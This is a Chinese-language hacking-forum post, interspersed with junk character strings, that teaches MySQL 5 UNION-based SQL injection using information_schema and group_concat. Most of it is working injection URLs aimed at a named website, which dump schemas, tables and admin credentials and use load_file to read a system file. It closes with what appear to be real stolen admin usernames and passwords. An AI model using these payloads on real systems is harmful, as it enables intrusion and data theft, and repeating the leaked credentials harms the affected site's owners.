此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
* y; e9 p( O; H! Z9 l! G& _但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
: |6 q: t; Y/ ~1 Z% W; L$ g. J; d) a; ^, T7 I2 y7 c. x0 l
( |4 |5 K9 i/ f' i
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
, x6 K3 i n; K+ V5 `# T" ?& k, k8 Y( N" _) x
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
* D* d5 _! I' w4 T: a) s" `
2 K( h% E; O+ b/ b: b4 j: V下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示9 x2 |& s9 |3 A0 z$ g8 u+ A
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等
6 b& N# U. ]+ ?- N2 D( N
2 F4 L4 X1 f; b' |http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17! T1 _# Q8 u. C6 c% r: t q
* \: o' r7 o/ u/ k/ {
读出所有库:' U( [: F! R0 ]1 }# i- ?+ E2 j
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
' ]) L+ x% i9 w' W% q+ ~
' [: \& X* i5 U0 u5 k1 l& |# U' k) d
0 M& h: N- L6 f0 g: v; f. [+ a读出所有表:
( e/ |( y2 a( ~' i7 fhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database(). Z* B. s. T. R& ]9 Z, v
/ w2 _8 y+ f y/ J* J( ^- ]
读出所有表字段:5 x' }& M( Z- b4 _; J2 C0 {2 S
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
/ G+ d& I: |8 |3 p* l {, W*/ (97,100,109,105,110)为admin的ascii码 依次类推
+ R2 X& ` B" X- y7 ^; w) e- X0 x& i9 u+ M, x
读出所有表字段里的内容:
( W; W3 h* w3 z3 U1 _6 Uhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
! G5 H2 }7 o7 J8 S" r- c! p _/ W4 w" A: K% Y( _. w* M( {# E
# Q [. i" ^- c
. P( A% e$ [; {; s) }7 E4 z' ^! }
4 r0 d# {% [: J+ L; p! F+ V" [2 o+ ?( Z) x
# w$ {$ R: A0 x- [
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
6 m S8 e' z7 k! N
0 T2 z, N" @+ t c/ Q" x3 @
* c; W1 G; T: _+ f$ h7 Khttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
! q3 ~0 P4 q) q7 k! r1 K
3 d% i5 f1 z; d' q w0 }. F+ Y: Jhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23# i5 _7 M( r- G, t' ~. ^
7 q5 c! q% `6 m2 o# @$ P' H5 u- z5 S2 Y
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
5 F: C9 H" [. ^4 x* a/ t0 a8 W/ K; J
! D6 W4 q* I' u4 Z
webmaster:dzb521123,simlab:simadmin200432337 Y9 F D1 v# O- Z! E+ e: f/ L, i
|